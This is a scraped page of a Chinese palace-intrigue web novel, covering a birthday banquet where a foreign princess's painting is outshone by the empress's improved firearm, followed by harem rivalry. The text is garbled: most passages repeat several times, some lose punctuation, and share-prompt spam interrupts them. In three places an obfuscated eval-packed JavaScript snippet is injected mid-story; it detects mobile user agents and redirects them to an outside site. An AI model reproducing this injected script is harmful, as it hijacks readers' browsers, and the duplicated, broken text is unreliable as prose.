裴墨染在桌底握住了云清婳的手,他最终颔首,“迟国的心意,朕感受到了。 “多谢陛下垂怜。玉容俯身叩拜,“玉容为您画了江山图。 迟国使臣将画轴展开,画轴长八米,宽两尺,壮阔豪迈的山河城池跃然纸上。 众人叹为观止,连连称好。 “此画是公主披星戴月,精心所画,足足用了一个月才完工。 裴墨染坐在上首,睥睨全局,他夸奖道:“画的好。 “陛下过奖了,玉容献丑了,玉容的小礼物定不如皇后娘娘的万一。玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容,他小心翼翼地观察着云清婳的表情。 云清婳一如既往,面容和善,眼中带笑,“礼物不同,怎好放在一起比较?更何况,心意都是一样的。 人群中,不知谁说了一句,“皇后娘娘送给陛下的是一副护膝,娘娘体贴龙体,其实一幅画能比的? 话音刚落,迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝,孰优孰劣,高下立判! 他们赢了! 玉容眼中也带着浅浅的得意,她福福身,“娘娘体贴细腻,玉容日后定向皇后娘娘学习。 波斯国的使臣因为上次输给云清婳,早就怀恨在心,他们忍不住道:“皇后娘娘未免也太敷衍了些,大昭没有绣娘吗? “虽然大昭有礼轻情意重的说法,但一副护膝,未免也太敷衍了。 “作为外臣,说句公道话,玉容公主的画作更好。 裴墨染狠狠瞪着肆意发言的使臣,他的声音很轻,却似泰山倾倒崩塌,“这里不是牲口棚,为何这么多牲口狂吠? “…… 方才挑事的使臣像被扼住了喉咙,脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列,他捧着一个木盒,“陛下,这是皇后娘娘托微臣做的,这才是皇后娘娘的贺礼。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的心意?使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手,他最终颔首,“迟国的心意,朕感受到了。 “多谢陛下垂怜。玉容俯身叩拜,“玉容为您画了江山图。 迟国使臣将画轴展开,画轴长八米,宽两尺,壮阔豪迈的山河城池跃然纸上。 众人叹为观止,连连称好。 “此画是公主披星戴月,精心所画,足足用了一个月才完工。使臣道。 裴墨染坐在上首,睥睨全局,他夸奖道:“画的好。 “陛下过奖了,玉容献丑了,玉容的小礼物定不如皇后娘娘的万一。玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容,他小心翼翼地观察着云清婳的表情。 云清婳一如既往,面容和善,眼中带笑,“礼物不同,怎好放在一起比较?更何况,心意都是一样的。 人群中,不知谁说了一句,“皇后娘娘送给陛下的是一副护膝,娘娘体贴龙体,其实一幅画能比的? 话音刚落,迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝,孰优孰劣,高下立判! 他们赢了! 玉容眼中也带着浅浅的得意,她福福身,“娘娘体贴细腻,玉容日后定向皇后娘娘学习。 波斯国的使臣因为上次输给云清婳,早就怀恨在心,他们忍不住道:“皇后娘娘未免也太敷衍了些,大昭没有绣娘吗? “虽然大昭有礼轻情意重的说法,但一副护膝,未免也太敷衍了。 “作为外臣,说句公道话,玉容公主的画作更好。 裴墨染狠狠瞪着肆意发言的使臣,他的声音很轻,却似泰山倾倒崩塌,“这里不是牲口棚,为何这么多牲口狂吠? “…… 方才挑事的使臣像被扼住了喉咙,脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列,他捧着一个木盒,“陛下,这是皇后娘娘托微臣做的,这才是皇后娘娘的贺礼。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的心意?”使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手,他最终颔首,“迟国的心意,朕感受到了。” “多谢陛下垂怜。”玉容俯身叩拜,“玉容为您画了江山图。” 迟国使臣将画轴展开,画轴长八米,宽两尺,壮阔豪迈的山河城池跃然纸上。 众人叹为观止,连连称好。 “此画是公主披星戴月,精心所画,足足用了一个月才完工。”使臣道。 裴墨染坐在上首,睥睨全局,他夸奖道:“画的好。” “陛下过奖了,玉容献丑了,玉容的小礼物定不如皇后娘娘的万一。”玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容,他小心翼翼地观察着云清婳的表情。 云清婳一如既往,面容和善,眼中带笑,“礼物不同,怎好放在一起比较?更何况,心意都是一样的。” 人群中,不知谁说了一句,“皇后娘娘送给陛下的是一副护膝,娘娘体贴龙体,其实一幅画能比的?” 话音刚落,迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝,孰优孰劣,高下立判! 他们赢了! 玉容眼中也带着浅浅的得意,她福福身,“娘娘体贴细腻,玉容日后定向皇后娘娘学习。” 波斯国的使臣因为上次输给云清婳,早就怀恨在心,他们忍不住道:“皇后娘娘未免也太敷衍了些,大昭没有绣娘吗?” “虽然大昭有礼轻情意重的说法,但一副护膝,未免也太敷衍了。” “作为外臣,说句公道话,玉容公主的画作更好。” 裴墨染狠狠瞪着肆意发言的使臣,他的声音很轻,却似泰山倾倒崩塌,“这里不是牲口棚,为何这么多牲口狂吠?” “……” 方才挑事的使臣像被扼住了喉咙,脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列,他捧着一个木盒,“陛下,这是皇后娘娘托微臣做的,这才是皇后娘娘的贺礼。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的心意?”使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手,他最终颔首,“迟国的心意,朕感受到了。” “多谢陛下垂怜。”玉容俯身叩拜,“玉容为您画了江山图。” 迟国使臣将画轴展开,画轴长八米,宽两尺,壮阔豪迈的山河城池跃然纸上。 众人叹为观止,连连称好。 “此画是公主披星戴月,精心所画,足足用了一个月才完工。”使臣道。 裴墨染坐在上首,睥睨全局,他夸奖道:“画的好。” “陛下过奖了,玉容献丑了,玉容的小礼物定不如皇后娘娘的万一。”玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容,他小心翼翼地观察着云清婳的表情。 云清婳一如既往,面容和善,眼中带笑,“礼物不同,怎好放在一起比较?更何况,心意都是一样的。” 人群中,不知谁说了一句,“皇后娘娘送给陛下的是一副护膝,娘娘体贴龙体,其实一幅画能比的?” 话音刚落,迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝,孰优孰劣,高下立判! 他们赢了! 玉容眼中也带着浅浅的得意,她福福身,“娘娘体贴细腻,玉容日后定向皇后娘娘学习。” 波斯国的使臣因为上次输给云清婳,早就怀恨在心,他们忍不住道:“皇后娘娘未免也太敷衍了些,大昭没有绣娘吗?” “虽然大昭有礼轻情意重的说法,但一副护膝,未免也太敷衍了。” “作为外臣,说句公道话,玉容公主的画作更好。” 裴墨染狠狠瞪着肆意发言的使臣,他的声音很轻,却似泰山倾倒崩塌,“这里不是牲口棚,为何这么多牲口狂吠?” “……” 方才挑事的使臣像被扼住了喉咙,脸色一会儿红一会儿绿。 他们整齐地跪下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471495|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢泽修出列,他捧着一个木盒,“陛下,这是皇后娘娘托微臣做的,这才是皇后娘娘的贺礼。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的心意?使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手,他最终颔首,“迟国的心意,朕感受到了。 “多谢陛下垂怜。玉容俯身叩拜,“玉容为您画了江山图。 迟国使臣将画轴展开,画轴长八米,宽两尺,壮阔豪迈的山河城池跃然纸上。 众人叹为观止,连连称好。 “此画是公主披星戴月,精心所画,足足用了一个月才完工。使臣道。 裴墨染坐在上首,睥睨全局,他夸奖道:“画的好。 “陛下过奖了,玉容献丑了,玉容的小礼物定不如皇后娘娘的万一。玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容,他小心翼翼地观察着云清婳的表情。 云清婳一如既往,面容和善,眼中带笑,“礼物不同,怎好放在一起比较?更何况,心意都是一样的。 人群中,不知谁说了一句,“皇后娘娘送给陛下的是一副护膝,娘娘体贴龙体,其实一幅画能比的? 话音刚落,迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝,孰优孰劣,高下立判! 他们赢了! 玉容眼中也带着浅浅的得意,她福福身,“娘娘体贴细腻,玉容日后定向皇后娘娘学习。 波斯国的使臣因为上次输给云清婳,早就怀恨在心,他们忍不住道:“皇后娘娘未免也太敷衍了些,大昭没有绣娘吗? “虽然大昭有礼轻情意重的说法,但一副护膝,未免也太敷衍了。 “作为外臣,说句公道话,玉容公主的画作更好。 裴墨染狠狠瞪着肆意发言的使臣,他的声音很轻,却似泰山倾倒崩塌,“这里不是牲口棚,为何这么多牲口狂吠? “…… 方才挑事的使臣像被扼住了喉咙,脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列,他捧着一个木盒,“陛下,这是皇后娘娘托微臣做的,这才是皇后娘娘的贺礼。 你的朋友正在书荒,快去帮帮他吧 的心意?”使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手他最终颔首“迟国的心意朕感受到了。” “多谢陛下垂怜。”玉容俯身叩拜“玉容为您画了江山图。” 迟国使臣将画轴展开画轴长八米宽两尺壮阔豪迈的山河城池跃然纸上。 众人叹为观止连连称好。 “此画是公主披星戴月精心所画足足用了一个月才完工。”使臣道。 裴墨染坐在上首睥睨全局他夸奖道:“画的好。” “陛下过奖了玉容献丑了玉容的小礼物定不如皇后娘娘的万一。”玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容他小心翼翼地观察着云清婳的表情。 云清婳一如既往面容和善眼中带笑“礼物不同怎好放在一起比较?更何况心意都是一样的。” 人群中不知谁说了一句“皇后娘娘送给陛下的是一副护膝娘娘体贴龙体其实一幅画能比的?” 话音刚落迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝 他们赢了! 玉容眼中也带着浅浅的得意她福福身“娘娘体贴细腻玉容日后定向皇后娘娘学习。” 波斯国的使臣因为上次输给云清婳早就怀恨在心他们忍不住道:“皇后娘娘未免也太敷衍了些大昭没有绣娘吗?” “虽然大昭有礼轻情意重的说法但一副护膝未免也太敷衍了。” “作为外臣说句公道话玉容公主的画作更好。” 裴墨染狠狠瞪着肆意发言的使臣他的声音很轻却似泰山倾倒崩塌“这里不是牲口棚为何这么多牲口狂吠?” “……” 方才挑事的使臣像被扼住了喉咙脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列他捧着一个木盒“陛下这是皇后娘娘托微臣做的这才是皇后娘娘的贺礼。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的心意?”使臣坚持不懈地询问。 裴墨染在桌底握住了云清婳的手他最终颔首“迟国的心意朕感受到了。” “多谢陛下垂怜。”玉容俯身叩拜“玉容为您画了江山图。” 迟国使臣将画轴展开画轴长八米宽两尺壮阔豪迈的山河城池跃然纸上。 众人叹为观止连连称好。 “此画是公主披星戴月精心所画足足用了一个月才完工。”使臣道。 裴墨染坐在上首睥睨全局他夸奖道:“画的好。” “陛下过奖了玉容献丑了玉容的小礼物定不如皇后娘娘的万一。”玉容福礼。 裴墨染敏锐地嗅到了**味。 他抬起眼皮不动声色地刺了下玉容他小心翼翼地观察着云清婳的表情。 云清婳一如既往面容和善眼中带笑 人群中不知谁说了一句“皇后娘娘送给陛下的是一副护膝娘娘体贴龙体其实一幅画能比的?” 话音刚落迟国的使臣皆露出扬眉吐气的表情。 一幅技艺精湛、寓意深厚的画作跟一副护膝孰优孰劣高下立判! 他们赢了! 玉容眼中也带着浅浅的得意她福福身“娘娘体贴细腻玉容日后定向皇后娘娘学习。” 波斯国的使臣因为上次输给云清婳早就怀恨在心他们忍不住道:“皇后娘娘未免也太敷衍了些大昭没有绣娘吗?” “虽然大昭有礼轻情意重的说法但一副护膝未免也太敷衍了。” “作为外臣说句公道话玉容公主的画作更好。” 裴墨染狠狠瞪着肆意发言的使臣他的声音很轻却似泰山倾倒崩塌“这里不是牲口棚为何这么多牲口狂吠?” “……” 方才挑事的使臣像被扼住了喉咙脸色一会儿红一会儿绿。 他们整齐地跪下。 谢泽修出列他捧着一个木盒“陛下这是皇后娘娘托微臣做的这才是皇后娘娘的贺礼。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第382章 裴云澈的死法,她想到了 裴墨染的眼中出现片刻迷茫,他递给王显一个眼神。 王显忙不迭走到殿中央,从谢泽修手中接过木盒。 王显将木盒双手奉上。 裴墨染打开盒子,看到里面的物件,眼中迸发出惊喜,“这是……?” “回陛下,这是火器。”谢泽修解释,“是皇后娘娘改良过的火器,经微臣稍作调整后,射程比番邦进贡的火器足足远了一里,威力大增。” “好!”裴墨染拿出其中的火器,满眼欢喜。 他侧过头看向云清婳,眼中流露出难以遮掩的赞赏,紧接着便是脉脉情意。 “蛮蛮,这才是你给我的贺礼?”裴墨染迫不及待想要试试手中的火铳,他低声说,“难怪你突然跟谢泽修通信。” 云清婳的双眼洞悉一切,她跟看蚂蚁似的,乜了殿中央的玉容一眼。 玉容的脸蛋绯红。 云隽阴阳怪气道:“呦呵,这会儿怎么没人说话了?改良的火器跟画比起来孰优孰劣啊?” “自然是火器好,谁敢多嘴,一枪一个!而且射程够远,可以放歹人先跑一里地!”曾经的十皇子,现在的靖王操着玩笑的口吻。 这明显话中有话。 闻言,众使臣垂下脑袋,缩着脖子,就像一只只鹌鹑。 “这些玩意,依我看都不如护膝好,护膝是皇后对皇上的一片深情。可惜,总有人不自量力,卖弄风情,竟斗胆拿自己跟皇后娘娘相提并论。”云蓉冷嗤。 “蓉儿所言极是。”靖王颔首。 玉容跟迟国使臣的脸都绿了,但他们不敢顶嘴。 毕竟云蓉没有点名道姓,他们若是发话,就相当于对号入座了。 云清婳起身,她福礼道:“皇上,臣妾不敢居功,臣妾只是随手画了图纸,省亲的时候跟谢将军探讨了几句。这火器能做出来,都是谢将军的功劳。” “皇后跟谢将军的心意,朕都收到了。”裴墨染深深看着她。 心中对谢泽修的不满也降了几分。 谢泽修倒是真有两下子。 宴席到了一半,云清婳借口身子不舒服,先回宫了。 坤宁宫。 飞霜熬了药,吹温后才喂她服下,“主子,奴婢看出来了,这个玉容眼中 有野心恐怕是个狠角色。” 云清婳咽下苦涩的药汁缓缓点头“嗯。” 她本来已经不想宫斗了。 毕竟她不需要争宠了讨厌谁直接下令处死就是。 可不怕死的又撞上来了。 她不想争但她不得不为了承基、辞忧扫平障碍。 “苏采薇果然上瘾了她今日瘾犯了难受得在地上打滚掐自己的胳膊还用头撞墙墙上撞出了好多血。”飞霜的眼中透着兴奋“主子还给她药吗?” “给啊。”云清婳紧了紧身上的大氅。 她倚靠在贵妃榻上阖上双眼静静听着窗外呼啸的风声。 很快会迎来一场暴风雪…… 吱呀—— 门被推开裴墨染轻手轻脚走进来。 远远的他看着闭目养神的云清婳的侧脸心口一动他怔在原地。 云清婳恬静的模样美得像一幅画他不忍心惊扰。 她睁开双眼斜睨着他慵懒道:“夫君生辰快乐。” 裴墨染心头一暖他坐在贵妃榻上让云清婳靠在他怀里。“蛮蛮方才你没生气吧?” “你说的是玉容公主?”她冷哼阴阳怪气地说“我若是连这个都要生气干脆气死好了。” 裴墨染连忙捂住她的嘴“大过年的不吉利!我肯接纳她为的只是她身上的噱头如此一来才能震慑其他部族、小国。当然我是不信这个预言的否则迟国怎舍得把她进献给我?他们一定会藏着掖着。” 狗男人的头脑还算清醒。 她剐了他一眼“骗人!方才她一露面你盯着别人看了好久。” “我什么时候……”裴墨染忽然沉默他福至心灵“我的确盯着她看了我生辰当日她穿了一身白她给谁披麻戴孝呢?我都快晦气**那女人的脑袋一定有问题!” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不好!早知道就不让表哥进献火器了,我自己拿着。她气得在他脖子上咬了一口,牙齿硌进他的皮肉。 裴墨染吃痛,他哭笑不得,“你自己留着作甚? “杀夫。她道。 裴墨染笑了,“那就更不能给你了。 云清婳抱着胳膊生闷气,背过身不理他。 最后还是裴墨染先妥协,他搂住她的腰,下巴放在她的肩膀上,“我在你身边时,允许你玩一下? “嗯。她很是勉强的应了一声。 裴墨染的唇落在她的后脖颈,引得云清婳轻颤,他宠溺道:“承基的脾气随了你,每次玩不到玩具,他也是如此。 云清婳眼中蕴出担忧,孩子千万别像她才好。 …… 万寿节总共要举行三日,三日后,玉容的册封才下来。 玉容被封为容嫔,分宫钟粹宫,跟陈如燕以及两个贵人住在一处。 清早,玉容跟其他妃嫔一起到坤宁宫请安。 云清婳姗姗来迟。 她捧着汤婆子坐在上首,她穿着杏黄色的净面掐腰长袍,脸蛋上未施粉黛,却给本就白皙的肌肤添了一抹别样的柔弱感。 她的唇角扬起一个标准的弧度,笑容端庄却不失亲和。 “皇后娘娘万福金安。魏娴领着众人行大礼。 “平身吧。云清婳的语气让人听不出情绪,捉摸不透。 “谢皇后娘娘。 其他人见魏娴落座,才敢依次坐下。 云清婳的视线落在玉容身上,她笑道:“容嫔从迟国远道而来,你对陛下的心意让人动容。今后你就要跟众嫔妃一同服侍陛下了,望众姐妹相互扶持,早日开枝散叶,切莫多生事端。 “是。众人应声。 玉容的脸色灰败,她咬着唇瓣,坐立难安。 她可是千金之躯,是迟国最受宠的公主,可云清婳草草介绍一句就一笔带过,毫不重视她,是在给她下马威吗? 还说什么切莫多生事端,这不是在故意点她? 云清婳又道:“大昭不同迟国,容嫔的衣食住行若是有不惯的,及时跟本宫或是贤妃说,只要合理,定会为你解决。 “多谢皇后娘娘,玉容福福 身,面露难色,“其实,臣妾真有一件事,不知道当讲不当讲。” 她红着眼,楚楚可怜地看着上首的云清婳。 云清婳下意识就想回答不当讲。 她的鼻腔发出了一声轻蔑的哼声。 魏娴看穿了云清婳的心思,她顾全大局,立即接嘴:“在座的都是姐妹,容嫔尽管说就是。” “臣妾在迟国时,一人住一间宫殿,可却没想到在大昭却要与燕嫔等人挤在一处,实在有些不惯。”玉容说着,捏着帕子擦了擦眼角的泪。 快要临盆的陆才人站在末尾,她轻抚着隆起的肚皮,嘲道:“容嫔可是公主,出嫁前的身份比在座的姐妹都要显赫,住不惯也是应当的。” 黄雨绵应和道:“陆姐姐言之有理!容嫔毕竟是含着金汤匙出生,跟旁人挤在一起,的确是委屈了。” 二人一唱一和,跟说相声似的。 她们对云清婳怀恨在心,如今挑准时机,故意膈应她。 闻言,玉容的腰板挺得更直了。 这正是她想听到的话。 可云清婳眸中的冷意凝结成冰,像是被喂了一只苍蝇。 魏娴拧着眉头,瞥了下站在末尾的两个蠢货。 什么叫玉容出嫁前比任何人都要显赫? 言下之意不就是,玉容比蛮蛮尊贵? 她们真是蠢得可以,居然又开始指桑骂槐,故意刺蛮蛮。 陈如燕还在月子里,但为了给皇后请安,还是特地坐着轿子来了。 她的底子好,生产完虽说气血有亏损,但亏损不大。 补了个把月,就跟生产前一样生龙活虎,中气十足。 陈如燕嫌弃的咋舌,“怎么?跟我住,还委屈你了不成?当你还是迟国的公主呢?” 玉容的眼珠子一轮,狠狠刺向陈如燕,但她眼底的恨意稍纵即逝。“姐姐误会了,妹妹从小被父皇宠坏了,所以突然住不惯罢了。” 云清婳悠悠地端起一杯茶,抿了一口,像在看一出事不关己的大戏,“既然容嫔知道自己被宠坏了,那正好改改性子,跟姐妹住在一起,磨磨你的骄纵也好。” “……”玉容的眉毛一抖。 她想过云清婳答应她,也想过云清婳拒绝她。 可万万没想 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。”云清婳动了动手指,示意众人离开。 “臣妾告退。”众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。”玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?”魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。” “好啊。”云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。” 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。” 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?”玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?”飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。”玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法!” 你的朋友正在书荒,快去帮帮他吧 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。”云清婳动了动手指,示意众人离开。 “臣妾告退。”众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。”玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?”魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。” “好啊。”云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。” 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。” 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?”玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?”飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。”玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。云清婳动了动手指,示意众人离开。 “臣妾告退。众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。 “好啊。云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。 小说全网首发无弹窗免费阅读caixs**(请来才 小说 看最新章节 完整章节)玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。云清婳动了动手指,示意众人离开。 “臣妾告退。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。 “好啊。云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 过云清婳不仅没答应,还当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479952|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。”云清婳动了动手指,示意众人离开。 “臣妾告退。”众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。”玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?”魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。” “好啊。”云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。” 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。” 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?”玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 